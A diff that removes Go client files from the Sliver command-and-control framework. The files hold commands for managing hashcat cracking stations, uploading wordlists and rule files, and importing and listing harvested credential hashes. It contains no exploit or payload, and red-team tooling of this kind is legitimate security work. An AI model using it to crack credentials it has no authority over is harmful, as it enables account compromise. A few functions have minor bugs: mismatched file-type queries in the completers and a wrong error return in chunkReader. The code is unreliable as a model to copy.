-	wordlistTable.SetTitle(console.Bold + "Wordlists" + console.Normal)
-	wordlistTable.SetStyle(settings.GetTableStyle(con))
-	wordlistTable.AppendHeader(table.Row{"Name", "Size"})
-
-	rulesTable := table.NewWriter()
-	rulesTable.SetTitle(console.Bold + "Rules" + console.Normal)
-	rulesTable.SetStyle(settings.GetTableStyle(con))
-	rulesTable.AppendHeader(table.Row{"Name", "Size"})
-
-	hcTable := table.NewWriter()
-	hcTable.SetTitle(console.Bold + "Markov Hcstat2" + console.Normal)
-	hcTable.SetStyle(settings.GetTableStyle(con))
-	hcTable.AppendHeader(table.Row{"Name", "Size"})
-
-	wordlists := 0
-	rules := 0
-	hc := 0
-	for _, file := range crackFiles.Files {
-		switch file.Type {
-		case clientpb.CrackFileType_WORDLIST:
-			wordlistTable.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
-			wordlists++
-		case clientpb.CrackFileType_RULES:
-			rulesTable.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
-			rules++
-		case clientpb.CrackFileType_MARKOV_HCSTAT2:
-			hcTable.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
-			hc++
-		}
-	}
-
-	if wordlists > 0 {
-		con.Printf("%s\n", wordlistTable.Render())
-	}
-	if rules > 0 {
-		if wordlists > 0 {
-			con.Println()
-		}
-		con.Printf("%s\n", rulesTable.Render())
-	}
-	if hc > 0 {
-		if wordlists > 0 || rules > 0 {
-			con.Println()
-		}
-		con.Printf("%s\n", hcTable.Render())
-	}
-	con.Println()
-	con.Printf("%d wordlists, %d rules, %d hcstat2 files\n", wordlists, rules, hc)
-	con.Printf("Disk quota %02.2f%% - %s of %s\n",
-		(float64(crackFiles.CurrentDiskUsage)/float64(crackFiles.MaxDiskUsage))*100,
-		util.ByteCountBinary(crackFiles.CurrentDiskUsage),
-		util.ByteCountBinary(crackFiles.MaxDiskUsage),
-	)
-}
-
-// CrackWordlistsAddCmd - Manage GPU cracking stations
-func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	name, _ := cmd.Flags().GetString("name")
-
-	var localPath string
-	if len(args) > 0 {
-		localPath = args[0]
-	}
-	if localPath == "" {
-		con.PrintErrorf("No path specified, see --help\n")
-		return
-	}
-	wordlistStat, err := os.Stat(localPath)
-	if os.IsNotExist(err) || wordlistStat.IsDir() {
-		con.PrintErrorf("File does not exist: %s\n", localPath)
-		return
-	}
-	if name == "" {
-		name = wordlistStat.Name()
-	}
-	wordlist, err := os.Open(localPath)
-	if err != nil {
-		con.PrintErrorf("Failed to open file: %s\n", err)
-		return
-	}
-	defer wordlist.Close()
-
-	crackFile, err := con.Rpc.CrackFileCreate(context.Background(), &clientpb.CrackFile{
-		Type:             clientpb.CrackFileType_WORDLIST,
-		Name:             name,
-		UncompressedSize: wordlistStat.Size(),
-		IsCompressed:     true,
-	})
-	if err != nil {
-		con.PrintErrorf("Failed to create file: %s\n", err)
-		return
-	}
-	con.PrintInfof("Adding new wordlist '%s' (uncompressed: %s)\n",
-		crackFile.Name,
-		util.ByteCountBinary(crackFile.UncompressedSize),
-	)
-	addCrackFile(wordlist, crackFile, con)
-}
-
-// CrackRulesAddCmd - add a rules file
-func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	name, _ := cmd.Flags().GetString("name")
-
-	var localPath string
-	if len(args) > 0 {
-		localPath = args[0]
-	}
-	if localPath == "" {
-		con.PrintErrorf("No path specified, see --help\n")
-		return
-	}
-	rulesStat, err := os.Stat(localPath)
-	if os.IsNotExist(err) || rulesStat.IsDir() {
-		con.PrintErrorf("File does not exist: %s\n", localPath)
-		return
-	}
-	if name == "" {
-		name = rulesStat.Name()
-	}
-	rules, err := os.Open(localPath)
-	if err != nil {
-		con.PrintErrorf("Failed to open file: %s\n", err)
-		return
-	}
-	defer rules.Close()
-
-	crackFile, err := con.Rpc.CrackFileCreate(context.Background(), &clientpb.CrackFile{
-		Type:             clientpb.CrackFileType_RULES,
-		Name:             name,
-		UncompressedSize: rulesStat.Size(),
-		IsCompressed:     true,
-	})
-	if err != nil {
-		con.PrintErrorf("Failed to create file: %s\n", err)
-		return
-	}
-	con.PrintInfof("Adding new rules file '%s' (uncompressed: %s)\n",
-		crackFile.Name,
-		util.ByteCountBinary(crackFile.UncompressedSize),
-	)
-	addCrackFile(rules, crackFile, con)
-}
-
-// CrackHcstat2AddCmd - add a hcstat2 file
-func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	name, _ := cmd.Flags().GetString("name")
-
-	var localPath string
-	if len(args) > 0 {
-		localPath = args[0]
-	}
-	if localPath == "" {
-		con.PrintErrorf("No path specified, see --help\n")
-		return
-	}
-	hcstat2Stat, err := os.Stat(localPath)
-	if os.IsNotExist(err) || hcstat2Stat.IsDir() {
-		con.PrintErrorf("File does not exist: %s\n", localPath)
-		return
-	}
-	if name == "" {
-		name = hcstat2Stat.Name()
-	}
-	hcstat2, err := os.Open(localPath)
-	if err != nil {
-		con.PrintErrorf("Failed to open file: %s\n", err)
-		return
-	}
-	defer hcstat2.Close()
-
-	crackFile, err := con.Rpc.CrackFileCreate(context.Background(), &clientpb.CrackFile{
-		Type:             clientpb.CrackFileType_MARKOV_HCSTAT2,
-		Name:             name,
-		UncompressedSize: hcstat2Stat.Size(),
-		IsCompressed:     true,
-	})
-	if err != nil {
-		con.PrintErrorf("Failed to create file: %s\n", err)
-		return
-	}
-	con.PrintInfof("Adding new markov hcstat2 file '%s' (uncompressed: %s)\n",
-		crackFile.Name,
-		util.ByteCountBinary(crackFile.UncompressedSize),
-	)
-	addCrackFile(hcstat2, crackFile, con)
-}
-
-func addCrackFile(localFile *os.File, crackFile *clientpb.CrackFile, con *console.SliverConsoleClient) {
-	digest := sha256.New()
-	wordlistReader := io.TeeReader(localFile, digest)
-
-	chunks := make(chan []byte, 1) // Chunks are in-memory!
-
-	var chunkReaderErr error
-	go func() {
-		chunkReaderErr = chunkReader(wordlistReader, crackFile.ChunkSize, chunks)
-	}()
-	n := uint32(0)
-	total := int64(0)
-	errors := []error{}
-	for chunk := range chunks {
-		total += int64(len(chunk))
-		con.PrintInfof("Uploading %s (chunk %d - %s) ...",
-			util.ByteCountBinary(total),
-			n,
-			util.ByteCountBinary(int64(len(chunk))),
-		)
-		_, err := con.Rpc.CrackFileChunkUpload(context.Background(), &clientpb.CrackFileChunk{
-			CrackFileID: crackFile.ID,
-			N:           n,
-			Data:        chunk,
-		})
-		n++
-		if err != nil {
-			errors = append(errors, err)
-			continue
-		}
-	}
-	con.Printf(console.Clearln + "\r")
-	if chunkReaderErr != nil {
-		con.PrintErrorf("Failed to read file: %s\n", chunkReaderErr)
-		return
-	}
-	if len(errors) > 0 {
-		for _, err := range errors {
-			con.PrintErrorf("Failed to upload chunk: %s\n", err)
-		}
-		return
-	}
-	_, err := con.Rpc.CrackFileComplete(context.Background(), &clientpb.CrackFile{
-		ID:       crackFile.ID,
-		Sha2_256: hex.EncodeToString(digest.Sum(nil)),
-	})
-	if err != nil {
-		con.PrintErrorf("Failed to complete file upload: %s\n", err)
-		return
-	}
-	con.PrintInfof("Upload completed (compressed: %s)\n", util.ByteCountBinary(total))
-}
-
-func chunkReader(wordlistReader io.Reader, chunkSize int64, chunks chan []byte) error {
-	defer close(chunks)
-	start := int64(0)
-	tmpFile, err := os.CreateTemp("", "sliver-wordlist")
-	if err != nil {
-		return err
-	}
-	defer tmpFile.Close()
-	compressor, _ := zstd.NewWriter(tmpFile, zstd.WithEncoderLevel(zstd.SpeedBetterCompression))
-	for {
-		readBuf := make([]byte, 32*1024*1024) // 32MB
-		readN, readErr := wordlistReader.Read(readBuf)
-		if readErr != nil && readErr != io.EOF {
-			return err
-		}
-		if readN != 0 {
-			_, err := compressor.Write(readBuf[:readN])
-			if err != nil {
-				return err
-			}
-			compressor.Flush()
-			tmpFileStat, err := os.Stat(tmpFile.Name())
-			if err != nil {
-				return err
-			}
-			if tmpFileStat.Size()-start >= chunkSize {
-				stop := start + chunkSize
-				chunk, err := readChunkAt(tmpFile, start, chunkSize)
-				if err != nil {
-					return err
-				}
-				chunks <- chunk
-				start = stop
-			}
-		}
-		if readErr == io.EOF {
-			chunk, err := readChunkAt(tmpFile, start, chunkSize)
-			if err != nil {
-				return err
-			}
-			chunks <- chunk
-			return nil
-		}
-	}
-}
-
-func readChunkAt(tmpFile *os.File, offset int64, chunkSize int64) ([]byte, error) {
-	chunkBuf := make([]byte, chunkSize)
-	n, err := tmpFile.ReadAt(chunkBuf, offset)
-	if err != nil && err != io.EOF {
-		return nil, err
-	}
-	return chunkBuf[:n], nil
-}
-
-// CrackWordlistsRmCmd - Manage GPU cracking stations
-func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	var wordlistName string
-	if len(args) > 0 {
-		wordlistName = args[0]
-	}
-	if wordlistName == "" {
-		con.PrintErrorf("No name specified, see --help\n")
-		return
-	}
-	wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	found := false
-	for _, wordlist := range wordlists.Files {
-		if wordlist.Name == wordlistName && wordlist.Type == clientpb.CrackFileType_WORDLIST {
-			found = true
-			_, err := con.Rpc.CrackFileDelete(context.Background(), wordlist)
-			if err != nil {
-				con.PrintErrorf("%s\n", err)
-				return
-			}
-			break
-		}
-	}
-	if found {
-		con.PrintInfof("Removed wordlist: %s\n", wordlistName)
-	} else {
-		con.PrintErrorf("Wordlist not found: %s\n", wordlistName)
-	}
-}
-
-// CrackRulesRmCmd - Manage GPU cracking stations
-func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	var rulesName string
-	if len(args) > 0 {
-		rulesName = args[0]
-	}
-	if rulesName == "" {
-		con.PrintErrorf("No name specified, see --help\n")
-		return
-	}
-	rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	found := false
-	for _, rulesFile := range rules.Files {
-		if rulesFile.Name == rulesName && rulesFile.Type == clientpb.CrackFileType_RULES {
-			found = true
-			_, err := con.Rpc.CrackFileDelete(context.Background(), rulesFile)
-			if err != nil {
-				con.PrintErrorf("%s\n", err)
-				return
-			}
-			break
-		}
-	}
-	if found {
-		con.PrintInfof("Removed rules: %s\n", rulesName)
-	} else {
-		con.PrintErrorf("Rules not found: %s\n", rulesName)
-	}
-}
-
-// CrackHcstat2RmCmd - remove a hcstat2 file
-func CrackHcstat2RmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	var hcstat2Name string
-	if len(args) > 0 {
-		hcstat2Name = args[0]
-	}
-	if hcstat2Name == "" {
-		con.PrintErrorf("No name specified, see --help\n")
-		return
-	}
-	hcstat2s, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	found := false
-	for _, hcstat2File := range hcstat2s.Files {
-		if hcstat2File.Name == hcstat2Name && hcstat2File.Type == clientpb.CrackFileType_MARKOV_HCSTAT2 {
-			found = true
-			_, err := con.Rpc.CrackFileDelete(context.Background(), hcstat2File)
-			if err != nil {
-				con.PrintErrorf("%s\n", err)
-				return
-			}
-			break
-		}
-	}
-	if found {
-		con.PrintInfof("Removed hcstat2: %s\n", hcstat2Name)
-	} else {
-		con.PrintErrorf("Hcstat2 not found: %s\n", hcstat2Name)
-	}
-}
@@ -1,148 +0,0 @@
-package crack
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"fmt"
-	"sort"
-
-	"github.com/jedib0t/go-pretty/v6/table"
-	"github.com/spf13/cobra"
-
-	"github.com/bishopfox/sliver/client/command/settings"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-)
-
-// CrackCmd - GPU password cracking interface
-func CrackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	if !AreCrackersOnline(con) {
-		PrintNoCrackstations(con)
-	} else {
-		crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-		con.PrintInfof("%d crackstation(s) connected to server\n", len(crackers.Crackstations))
-	}
-	crackFiles, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if len(crackFiles.Files) == 0 {
-		con.PrintInfof("No crack files uploaded to server\n")
-	} else {
-		con.Println()
-		PrintCrackFilesByType(crackFiles, con)
-	}
-}
-
-// CrackStationsCmd - Manage GPU cracking stations
-func CrackStationsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if len(crackers.Crackstations) == 0 {
-		PrintNoCrackstations(con)
-	} else {
-		PrintCrackers(crackers.Crackstations, con)
-	}
-}
-
-func PrintNoCrackstations(con *console.SliverConsoleClient) {
-	con.PrintInfof("No crackstations connected to server\n")
-}
-
-func AreCrackersOnline(con *console.SliverConsoleClient) bool {
-	crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		return false
-	}
-	return len(crackers.Crackstations) > 0
-}
-
-func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverConsoleClient) {
-	sort.Slice(crackers, func(i, j int) bool {
-		return crackers[i].Name < crackers[j].Name
-	})
-	for index, cracker := range crackers {
-		printCracker(cracker, index, con)
-		if index < len(crackers)-1 {
-			con.Println()
-			con.Println()
-		}
-	}
-}
-
-func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverConsoleClient) {
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n")
-	tw.AppendSeparator()
-	tw.AppendRow(table.Row{console.Bold + "Operating System" + console.Normal, fmt.Sprintf("%s/%s", cracker.GOOS, cracker.GOARCH)})
-	tw.AppendRow(table.Row{console.Bold + "Hashcat Version" + console.Normal, cracker.HashcatVersion})
-	if 0 < len(cracker.CUDA) {
-		for _, cuda := range cracker.CUDA {
-			tw.AppendSeparator()
-			tw.AppendRow(table.Row{console.Bold + "CUDA Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, cuda.Name, cuda.Version)})
-			tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", cuda.MemoryFree, cuda.MemoryTotal)})
-			tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", cuda.Clock)})
-			tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", cuda.Processors)})
-		}
-	}
-	if 0 < len(cracker.Metal) {
-		for _, metal := range cracker.Metal {
-			tw.AppendSeparator()
-			tw.AppendRow(table.Row{console.Bold + "Metal Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, metal.Name, metal.Version)})
-			tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", metal.MemoryFree, metal.MemoryTotal)})
-			tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", metal.Clock)})
-			tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", metal.Processors)})
-		}
-	}
-	if 0 < len(cracker.OpenCL) {
-		for _, openCL := range cracker.OpenCL {
-			tw.AppendSeparator()
-			tw.AppendRow(table.Row{console.Bold + "OpenCL Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+console.Bold+"%s (%s)"+console.Normal, openCL.Name, openCL.Version)})
-			tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", openCL.MemoryFree, openCL.MemoryTotal)})
-			tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", openCL.Clock)})
-			tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", openCL.Processors)})
-		}
-	}
-	con.Printf("%s\n", tw.Render())
-	con.Println()
-	printBenchmarks(cracker, con)
-}
-
-func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverConsoleClient) {
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	tw.SetTitle(console.Bold + "Benchmarks" + console.Normal)
-	tw.SortBy([]table.SortBy{{Name: "Hash Type"}})
-	tw.AppendHeader(table.Row{"Hash Type", "Rate (H/s)"})
-	for hashType, speed := range cracker.Benchmarks {
-		tw.AppendRow(table.Row{clientpb.HashType(hashType), fmt.Sprintf("%d", speed)})
-	}
-	con.Printf("%s\n", tw.Render())
-}
@@ -1,110 +0,0 @@
-package crack
-
-import (
-	"context"
-	"fmt"
-	"time"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/rsteube/carapace"
-)
-
-func CrackHcstat2Completer(con *console.SliverConsoleClient) carapace.Action {
-	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
-		hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
-		if err != nil {
-			return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
-		}
-
-		results := make([]string, 0)
-
-		for _, file := range hcstat2.Files {
-			if file.Type != clientpb.CrackFileType_MARKOV_HCSTAT2 {
-				continue
-			}
-
-			results = append(results, file.Name)
-			desc := fmt.Sprintf("%s (%s chunks, chunk size: %s)", byteCountSI(file.UncompressedSize), len(file.Chunks), byteCountSI(file.ChunkSize))
-			results = append(results, desc)
-		}
-
-		return carapace.ActionValuesDescribed(results...).Tag("hcstat2 files")
-	})
-}
-
-func CrackWordlistCompleter(con *console.SliverConsoleClient) carapace.Action {
-	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
-		hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
-		if err != nil {
-			return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
-		}
-
-		results := make([]string, 0)
-
-		for _, file := range hcstat2.Files {
-			if file.Type != clientpb.CrackFileType_WORDLIST {
-				continue
-			}
-
-			results = append(results, file.Name)
-			createdAt, modifiedAt := time.Unix(file.CreatedAt, 0).Format("03:04:05"), time.Unix(file.LastModified, 0).Format("03:04:05")
-			desc := fmt.Sprintf("%s (Created: %s, modified: %s)", byteCountSI(file.UncompressedSize), createdAt, modifiedAt)
-			results = append(results, desc)
-		}
-
-		return carapace.ActionValuesDescribed(results...).Tag("wordlists")
-	})
-}
-
-func CrackRulesCompleter(con *console.SliverConsoleClient) carapace.Action {
-	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
-		hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
-		if err != nil {
-			return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
-		}
-
-		results := make([]string, 0)
-
-		for _, file := range hcstat2.Files {
-			if file.Type != clientpb.CrackFileType_RULES {
-				continue
-			}
-
-			results = append(results, file.Name)
-			createdAt, modifiedAt := time.Unix(file.CreatedAt, 0).Format("03:04:05"), time.Unix(file.LastModified, 0).Format("03:04:05")
-			desc := fmt.Sprintf("%s (Created: %s, modified: %s)", byteCountSI(file.UncompressedSize), createdAt, modifiedAt)
-			results = append(results, desc)
-		}
-
-		return carapace.ActionValuesDescribed(results...).Tag("wordlists")
-	})
-}
-
-func byteCountSI(b int64) string {
-	const unit = 1000
-	if b < unit {
-		return fmt.Sprintf("%d B", b)
-	}
-	div, exp := int64(unit), 0
-	for n := b / unit; n >= unit; n /= unit {
-		div *= unit
-		exp++
-	}
-	return fmt.Sprintf("%.1f %cB",
-		float64(b)/float64(div), "kMGTPE"[exp])
-}
-
-func byteCountIEC(b int64) string {
-	const unit = 1024
-	if b < unit {
-		return fmt.Sprintf("%d B", b)
-	}
-	div, exp := int64(unit), 0
-	for n := b / unit; n >= unit; n /= unit {
-		div *= unit
-		exp++
-	}
-	return fmt.Sprintf("%.1f %ciB",
-		float64(b)/float64(div), "KMGTPE"[exp])
-}
@@ -1,213 +0,0 @@
-package creds
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"bufio"
-	"context"
-	"os"
-	"strconv"
-	"strings"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/spf13/cobra"
-)
-
-const (
-	UserColonHashNewlineFormat = "user:hash" // username:hash\n
-	HashNewlineFormat          = "hash"      // hash\n
-	CSVFormat                  = "csv"       // username,hash\n
-)
-
-// CredsCmd - Add new credentials
-func CredsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	collection, _ := cmd.Flags().GetString("collection")
-	username, _ := cmd.Flags().GetString("username")
-	plaintext, _ := cmd.Flags().GetString("plaintext")
-	hash, _ := cmd.Flags().GetString("hash")
-	hashTypeF, _ := cmd.Flags().GetString("hash-type")
-	hashType := parseHashTypeString(hashTypeF)
-	if plaintext == "" && hash == "" {
-		con.PrintErrorf("Either a plaintext or a hash must be provided\n")
-		return
-	}
-	if hashType == clientpb.HashType_INVALID {
-		con.PrintErrorf("Invalid hash type '%s'\n", hashTypeF)
-		return
-	}
-	_, err := con.Rpc.CredsAdd(context.Background(), &clientpb.Credentials{
-		Credentials: []*clientpb.Credential{
-			{
-				Collection: collection,
-				Username:   username,
-				Plaintext:  plaintext,
-				Hash:       hash,
-				HashType:   hashType,
-			},
-		},
-	})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	PrintCreds(creds.Credentials, con)
-}
-
-// CredsCmd - Add new credentials
-func CredsAddHashFileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	collection, _ := cmd.Flags().GetString("collection")
-	filePath := args[0]
-	fileFormat, _ := cmd.Flags().GetString("file-format")
-	if _, err := os.Stat(filePath); os.IsNotExist(err) {
-		con.PrintErrorf("File '%s' does not exist\n", filePath)
-		return
-	}
-	hashTypeF, _ := cmd.Flags().GetString("hash-type")
-	hashType := parseHashTypeString(hashTypeF)
-	if hashType == clientpb.HashType_INVALID {
-		con.PrintErrorf("Invalid hash type '%s'\n", hashTypeF)
-		return
-	}
-
-	con.PrintInfof("Parsing file '%s' as '%s' format ...\n", filePath, fileFormat)
-	var creds *clientpb.Credentials
-	var err error
-	switch fileFormat {
-	case UserColonHashNewlineFormat:
-		creds, err = parseUserColonHashNewline(filePath, hashType)
-	case HashNewlineFormat:
-		creds, err = parseHashNewline(filePath, hashType)
-	case CSVFormat:
-		creds, err = parseCSV(filePath, hashType)
-	default:
-		con.PrintErrorf("Invalid file format '%s', see 'creds add file --help'\n", fileFormat)
-		return
-	}
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	for _, cred := range creds.Credentials {
-		cred.Collection = collection
-	}
-	con.PrintInfof("Adding %d credential(s) ...\n", len(creds.Credentials))
-	_, err = con.Rpc.CredsAdd(context.Background(), creds)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	creds, err = con.Rpc.Creds(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	PrintCreds(creds.Credentials, con)
-}
-
-func parseHashType(raw string) clientpb.HashType {
-	hashInt, err := strconv.Atoi(raw)
-	if err == nil {
-		return clientpb.HashType(hashInt)
-	}
-	return clientpb.HashType_INVALID
-}
-
-// same as parseHashType, but use the string representation.
-func parseHashTypeString(raw string) clientpb.HashType {
-	if hashType, valid := clientpb.HashType_value[raw]; valid {
-		return clientpb.HashType(hashType)
-	}
-
-	return clientpb.HashType_INVALID
-}
-
-func parseUserColonHashNewline(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
-	file, err := os.Open(filePath)
-	if err != nil {
-		return nil, err
-	}
-	defer file.Close()
-
-	scanner := bufio.NewScanner(file)
-	creds := &clientpb.Credentials{}
-	for scanner.Scan() {
-		line := scanner.Text()
-		parts := strings.Split(line, ":")
-		if len(parts) != 2 {
-			continue
-		}
-		creds.Credentials = append(creds.Credentials, &clientpb.Credential{
-			Username: parts[0],
-			Hash:     parts[1],
-			HashType: hashType,
-		})
-	}
-	return creds, nil
-}
-
-func parseHashNewline(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
-	file, err := os.Open(filePath)
-	if err != nil {
-		return nil, err
-	}
-	defer file.Close()
-
-	scanner := bufio.NewScanner(file)
-	creds := &clientpb.Credentials{}
-	for scanner.Scan() {
-		line := scanner.Text()
-		creds.Credentials = append(creds.Credentials, &clientpb.Credential{
-			Hash:     line,
-			HashType: hashType,
-		})
-	}
-	return creds, nil
-}
-
-func parseCSV(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
-	file, err := os.Open(filePath)
-	if err != nil {
-		return nil, err
-	}
-	defer file.Close()
-
-	scanner := bufio.NewScanner(file)
-	creds := &clientpb.Credentials{}
-	scanner.Scan() // skip header
-	for scanner.Scan() {
-		line := scanner.Text()
-		parts := strings.Split(line, ",")
-		if len(parts) < 2 {
-			continue
-		}
-		creds.Credentials = append(creds.Credentials, &clientpb.Credential{
-			Username: parts[0],
-			Hash:     parts[1],
-			HashType: hashType,
-		})
-	}
-	return creds, nil
-}
@@ -1,182 +0,0 @@
-package creds
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"fmt"
-	"strings"
-
-	"github.com/jedib0t/go-pretty/v6/table"
-	"github.com/rsteube/carapace"
-	"github.com/spf13/cobra"
-
-	"github.com/bishopfox/sliver/client/command/settings"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-)
-
-// CredsCmd - Manage credentials
-func CredsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if len(creds.Credentials) == 0 {
-		con.PrintInfof("No credentials 🙁\n")
-		return
-	}
-	PrintCreds(creds.Credentials, con)
-}
-
-func PrintCreds(creds []*clientpb.Credential, con *console.SliverConsoleClient) {
-	collections := make(map[string][]*clientpb.Credential)
-	for _, cred := range creds {
-		collections[cred.Collection] = append(collections[cred.Collection], cred)
-	}
-	for collection, creds := range collections {
-		printCollection(collection, creds, con)
-		con.Println()
-	}
-}
-
-func printCollection(collection string, creds []*clientpb.Credential, con *console.SliverConsoleClient) {
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	if collection != "" {
-		tw.SetTitle(console.Bold + collection + console.Normal)
-	} else {
-		tw.SetTitle(console.Bold + "Default Collection" + console.Normal)
-	}
-	tw.AppendHeader(table.Row{
-		"ID",
-		"Username",
-		"Plaintext",
-		"Hash",
-		"Hash Type",
-		"Cracked",
-	})
-	for _, cred := range creds {
-		tw.AppendRow(table.Row{
-			strings.Split(cred.ID, "-")[0],
-			cred.Username,
-			cred.Plaintext,
-			cred.Hash,
-			cred.HashType,
-			cred.IsCracked,
-		})
-	}
